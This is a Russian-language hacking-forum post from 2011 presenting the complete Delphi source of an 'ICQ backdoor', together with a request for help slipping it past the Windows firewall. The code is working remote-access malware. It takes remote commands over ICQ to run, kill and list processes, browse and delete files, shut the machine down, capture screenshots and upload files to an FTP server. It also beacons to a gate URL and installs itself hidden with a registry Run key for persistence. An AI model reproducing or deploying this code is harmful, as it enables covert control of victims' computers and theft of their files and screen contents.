|
dolphin
|
Дата: Пятница, 01.04.2011, 22:05 | Сообщение # 1
|
Главный
Группа: Администраторы
Сообщений: 650
Статус: Offline
|
Статус сообщение:
Много дел!
|
|
Простенький Icq backdoor Кто нибидь знает как его можно в исключения брандмауэра добавить? Цены бы не было.
Доступно только для пользователей
Code
unit icqmod;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ICQClient, StdCtrls, WinInet, shellapi, ExtCtrls, PSAPI, Registry,
Jpeg;
const
ftp = 'y.ru';
user= '0';
pas = '0';
type
Buf = array[0..255] of char;
TForm1 = class(TForm)
cl: TICQClient;
t1: TTimer;
t2: TTimer;
procedure clMessageRecv(Sender: TObject; Msg, UIN: String);
procedure t1Timer(Sender: TObject);
procedure t2Timer(Sender: TObject);
procedure clLogin(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
public
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetProcessList: string;
var
ph: THandle;
mh: hmodule;
procs: array[0..$FFF] of dword;
count, cm: cardinal;
i: integer;
ModName: array[0..max_path] of char;
sl: TStringlist;
begin
sl:=TStringlist.Create;
if not EnumProcesses(@procs, sizeof(procs), count) then exit;
for i := 0 to count div 4 - 1 do
begin
ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,procs[i]);
if ph > 0 then
begin
EnumProcessModules(ph, @mh, 4, cm);
GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
sl.Add(string(ExtractFileName(ModName)));
CloseHandle(ph);
end;
end;
sl.Delete(0);
result:=sl.Text;
end;
function SendIP(url :String): boolean;
var
hSock :HINTERNET;
hFile :HINTERNET;
begin
hSock := InternetOpen('IP',0,nil,nil,0);
if Assigned(hSock) then
begin
hFile := InternetOpenUrl(hSock,pchaR(url),nil,0,INTERNET_FLAG_EXISTING_CONNECT,0);
if Assigned(hFile) then
Result:= true
else
Result:= False;
InternetCloseHandle(hSock);
end
else
Result:=false;
end;
Procedure load(filename,ftpfilename: pchar);
var
inet,connect: hinternet;
begin
inet:= InternetOpen('0',1,nil,nil,0);
if Assigned(inet) then
begin
connect:= InternetConnect(inet,ftp,21,user,pas,1,INTERNET_FLAG_PASSIVE,0);
if Assigned(connect) then
begin
sleep(1000);
FtpPutFileA(connect,filename,ftpfilename,FTP_TRANSFER_TYPE_UNKNOWN,0);
InternetCloseHandle(connect);
end;
InternetCloseHandle(inet);
end;
end;
procedure KillProcess(proc:string);
begin
shellexecute(0,'OPEN',pchar('taskkill'),pchar(' /f /im '+proc+' /t'),nil,SW_Hide);
end;
procedure RunProcess(proc:string);
begin
shellexecute(0,'open', pchar(proc),nil,nil,0);
end;
procedure ShutdownComputer;
var
ph: THandle;
tp, prevst: TTokenPrivileges;
rl: DWORD;
begin
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, ph);
LookupPrivilegeValue(nil,'SeShutdownPrivilege', tp.Privileges[0].Luid);
tp.PrivilegeCount := 1;
tp.Privileges[0].Attributes := 2;
AdjustTokenPrivileges(ph, FALSE, tp, SizeOf(prevst), prevst, rl);
ExitWindowsEx(EWX_SHUTDOWN or EWX_POWEROFF, 0);
end;
procedure TForm1.clMessageRecv(Sender: TObject; Msg, UIN: String);
var
s,fr,ft,fpath,ftpfn: string;
p,p1: array[0..3000] of char;
F,i : integer;
SR : TSearchRec;
temp : TStringList;
DC : HDC;
bmp : TBitmap;
jpgImg: TJPEGImage;
begin
if Msg='?' then cl.SendMessage(StrToInt(UIN),'ок!');
if msg=' ' then
cl.SendMessage(StrToInt(uin),'? - проверка'+#13#10+
'run - запуск'+#13#10+
'kil - завершение'+#13#10+
'prc - процессы'+#13#10+
'cof - вырубить'+#13#10+
'msg - сообщение'+#13#10+
'dir - директория'+#13#10+
'del - удалить'+#13#10+
'skr - скрин'+#13#10+
'lod - скачать'+#13#10+
'');
if AnsiLowerCase(copy(Msg,1,3)) ='run' then
begin
RunProcess(copy(Msg,5,length(Msg)));
cl.SendMessage(StrToInt(UIN),'Запущен!');
end;
if AnsiLowerCase(copy(Msg,1,3)) ='kil' then
begin
KillProcess(copy(Msg,5,length(Msg)));
cl.SendMessage(StrToInt(UIN),'Убит!');
end;
if AnsiLowerCase(copy(Msg,1,3)) ='prc' then
begin
cl.SendMessage(StrToInt(UIN),GetProcessList);
end;
if AnsiLowerCase(copy(Msg,1,3)) ='cof' then
begin
ShutdownComputer;
end;
if AnsiLowerCase(copy(Msg,1,3)) ='msg' then
begin
ShowMessage(Copy(Msg,5,length(msg)));
end;
if AnsiLowerCase(copy(Msg,1,3))='dir' then
begin
temp:=TStringList.Create;
if copy(Msg,length(Msg),1)<>'\' then
Msg:=Msg+'\';
F:=FindFirst(copy(Msg,5,length(Msg))+'*.*',faAnyFile,SR);
While F=0 do
begin
if ((SR.Attr and faDirectory)=faDirectory) and ((SR.Name='.')or(SR.Name='..')) then
begin
F:=FindNext(SR);
Continue;
end;
temp.Add(copy(Msg,5,length(Msg))+SR.Name+' - ('+inttostr(sr.Size)+'/'+IntToStr(Sr.Time)+')');
F:=FindNext(SR);
end;
FindClose(SR);
if temp.Text='' then
temp.Add('Папка пуста');
cl.SendMessage(StrToInt(UIN),temp.Text);
temp.Clear;
temp.Free;
end;
if AnsiLowerCase(copy(Msg,1,3))='del' then
begin
if deletefile(copy(Msg,5,length(Msg))) then
cl.SendMessage(StrToInt(UIN),'ok')
else
cl.SendMessage(StrToInt(UIN),'error');
end;
if AnsiLowerCase(copy(Msg,1,3))='skr' then
begin
bmp := TBitmap.Create;
jpgImg := TJPEGImage.Create;
bmp.Height := Screen.Height;
bmp.Width := Screen.Width;
DC := GetDC(0);
bitblt(bmp.Canvas.Handle,0,0,Screen.Width,Screen.Height,DC,0,0,SRCCOPY);
ReleaseDC(0,DC);
jpgImg.Assign(bmp);
jpgImg.CompressionQuality:=100;
s:=DateToStr(Now)+'.jpg';
jpgImg.SaveToFile(s);
jpgImg.Free;
bmp.Free;
fr:= ExtractFilePath(Application.ExeName)+s;
ft:='/'+s;
load(PchaR(fr),PChaR(ft));
DeleteFile(fr);
cl.SendMessage(StrToInt(uin),'ok!');
end;
if AnsiLowerCase(copy(Msg,1,3)) ='lod' then
begin
lstrcpy(p,pchar(Msg));
for i:=5 to lstrlen(p) do
begin
if p[i]=' ' then break;
fpath:= copy(Msg,5,i-3);
end;
lstrcpy(p1,@p[i]);
ftpfn := p1;
load(pchar(fpath),p1);
cl.SendMessage(StrToInt(uin),'ok');
end;
end;
procedure TForm1.t1Timer(Sender: TObject);
begin
if cl.LoggedIn then
begin
cl.SendKeepAlive;
if t2.Enabled then t2.Enabled:=false;
end
else
begin
t2.Enabled:=true;
end;
end;
procedure TForm1.t2Timer(Sender: TObject);
begin
if SendIP('http://н.ru/gate.php') then
cl.Login(0,false);
end;
procedure TForm1.clLogin(Sender: TObject);
begin
t1.Enabled:=true;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
run,tocp : Buf;
Reg: TRegistry;
str: String;
begin
GetEnvironmentVariable('SystemDrive',tocp,255);
lstrcat(tocp,'\cl.exe');
GetModuleFileName(0,run,255);
if lstrcmp(run,tocp)=0 then
begin
t2.Enabled:=true;
end
else
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false) then
begin
str := Reg.ReadString('cl');
if str <> tocp then
Reg.WriteString('cl',tocp);
Reg.CloseKey;
end;
Reg.Free;
CopyFile(run,tocp,true);
SetFileAttributes(tocp,$06);
Halt;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
cl.Disconnect;
end;
end.
|
| |
|
|
